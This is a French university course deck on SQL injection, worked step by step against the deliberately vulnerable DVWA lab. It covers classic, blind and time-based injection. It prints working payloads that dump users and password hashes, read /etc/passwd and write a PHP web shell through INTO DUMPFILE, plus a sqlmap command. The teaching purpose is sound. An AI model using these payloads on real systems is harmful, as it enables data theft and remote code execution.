Skip to content
Snippets Groups Projects

Injection SQL

aka SQLi

SQLi

/ tapez <prez>.html?<username-uca> dans votre navigateur pour suivre le cours avec votre nom de vm

SQLi

  • envoie de données à un interpréteur
  • l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (payload)
    • toute source de données peut être utilisées
      • paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
      • au niveau de la requête et de la réponse

SQLi / types

  • topologie

  • SQL Injection

    • cas simple où les messages d'erreur base de données sont affichés
  • SQL Injection (Blind)

    • cas plus complexe où les messages d'erreur base de données ne sont pas accessibles
      • Un comportement différent selon que la payload est exécutée ou non

SQLi / payloads

  • lire des données "protégées"
  • corrompre des données
  • dénis de services
  • lecture / écriture sur le système de fichiers
  • exécution de commandes arbitraires

SQLi / low

  • détectable en tentant les caractères d'échappement " ou ' en /vulnerabilities/sqli/?id=%27&Submit=Submit#

  • L'idée est d'utiliser les commentaires # ou -- pour terminer prématurément l'exécution du SQL

    User ID: ' OR 1=1 #
    • affiche la liste de tous les utilisateurs

/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#

on cherche les mots de passe des utilisateurs

SQLi / low

déterminer le nombre de paramètres de la requêtes

User ID: ' OR 1=1 ORDER BY 1 #

/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#

/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#

il y a 2 champs dans la clause SELECT

SQLi / low

repérer qui est qui?

User ID: 6' UNION SELECT 1,2 #
First name: 1
Surname: 2

afficher la base de données et l'utilisateur courant

User ID: 6' UNION SELECT database(),current_user() #
First name: dvwa
Surname: dvwa@localhost

/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#

UNION ou Cross table

SQLi / low

afficher toutes les tables de la base de données dvwa via la table virutelle information_schema

User ID: 6' UNION SELECT table_name,2 
  FROM INFORMATION_SCHEMA.TABLES 
  WHERE TABLE_SCHEMA = 'dvwa' #

/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#

SQLi / low

afficher les noms de colonnes de la tables users via la table virutelle information_schema

User ID: 6' UNION SELECT column_name,2 
  FROM INFORMATION_SCHEMA.COLUMNS 
  WHERE TABLE_SCHEMA = 'dvwa' #

/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#

SQLi / low

afficher les champs user & password de la table users

User ID: 6' UNION SELECT user,password FROM users #

/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#

crackstation.net pour une rainbow attack ou attaque par tables arc-en-ciel

SQLi / medium

select2input

détection

User ID: ' OR 1=1 #

a priori les ' sont échappés

SQLi / medium

User ID: 1 OR 1=1 #

le paramètre id est un entier

reprendre les étapes SQLi / low en remplacant

User ID: 6' ... #

User ID: 6 ... #

TABLE_SCHEMA = 'dvwa'

TABLE_SCHEMA = CHAR(100,118,119,97)

SQLi / high

Toute la séquence SQLi / low est valide

Blind SQLi / low

  • plus de message d'erreur

  • plus d'affichage des champs

  • identifier les comportements

User ID: 1
User ID exists in the database.
User ID: 6
User ID is MISSING from the database.

Blind SQLi / low

  • identifier les comportements
    • on sait que l'utilisateur 1 existe
User ID: 1' AND '1' = '2' #
User ID is MISSING from the database.
User ID: 1' AND '1' = '1' #
User ID exists in the database.

il y a une injection

Blind SQLi / low

déterminer le nom de la base de données

1' AND ORD(MID(DATABASE(),1,1)) = 100 #
  • DATABASE() : renvoie la chaîne "dvwa"
  • MID(DATABASE(),1,1) : renvoie le première caractère de la chaîne retournée par DATABASE()
  • ORD() : renvoie l'équivalent décimal du caractère en paramètre

Blind SQLi / low

déterminer le nombre de caractère dans le nom de la base de données

1' AND LENGTH(DATABASE()) = 4 #

déterminer le nom de la base de données

1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
1' AND ORD(MID(DATABASE(),4,1)) = 97  # a

Blind SQLi / low

déterminer le nom de la table

1' AND ORD(MID((SELECT table_name 
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g 

déterminer le nombre de colonne de la table users

1' AND ORD(MID((SELECT COUNT(column_name) 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='users' 
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8

Blind SQLi / low

déterminer le nom des colonnes de la table users

1' AND ORD(MID((SELECT column_name 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='users' 
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p 

déterminer le hash d'un user

1' AND ORD(MID((SELECT password FROM dvwa.users 
WHERE user='Pablo'),1,1)) = 48 # 0

Blind SQLi / medium

reprendre les étapes Blind SQLi / low en remplacant

User ID: 1' ... #

User ID: 1 ... #

table_schema='dvwa'

table_schema=0x64767761

Blind SQLi / high

Toute la séquence Blind SQLi / low est valide

True Blind SQLi / Time based

  • Si aucun output n'est disponible
    • on ajoute du calcul artificiellement
      • la payload est exécutée
        • le temps de réponse = temps de traitement + temps de calcul artificiel
      • la payload n'est pas exécutée
        • le temps de réponse = temps de traitement

problématique similaire à une booléenne

True Blind SQLi / Time based

User ID: 1' AND 1=0 UNION SELECT NULL, 
benchmark(5000000, encode('MSG', 'pass-phrase')) 
FROM users #
  • chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
    • DoS
    • utile pour les True Blind SQLi ou Time Based

SQLi / Low

sous certaines conditions

User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #

affiche tout le contenu du fichier /etc/passwd

User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" 
  INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #

écrit le fichier shell.php dans le système de fichiers

SQLi / Low / SQLmap

  • SQLmap Fait tous le boulot à votre palce
    • en ligne de commmande
      • affiche des résultats propres
      • abstrait
        • le moteur de base de données
        • les différentes techniques d'injections
sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;" 
--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" 
--tables

remplacer par la valeur de votre jeton de session

SQLi / Fix

Note:

  • TODO regarder si les messages sont désactiables à partir de MySQL

SQLi / Fix

SQLi / Fix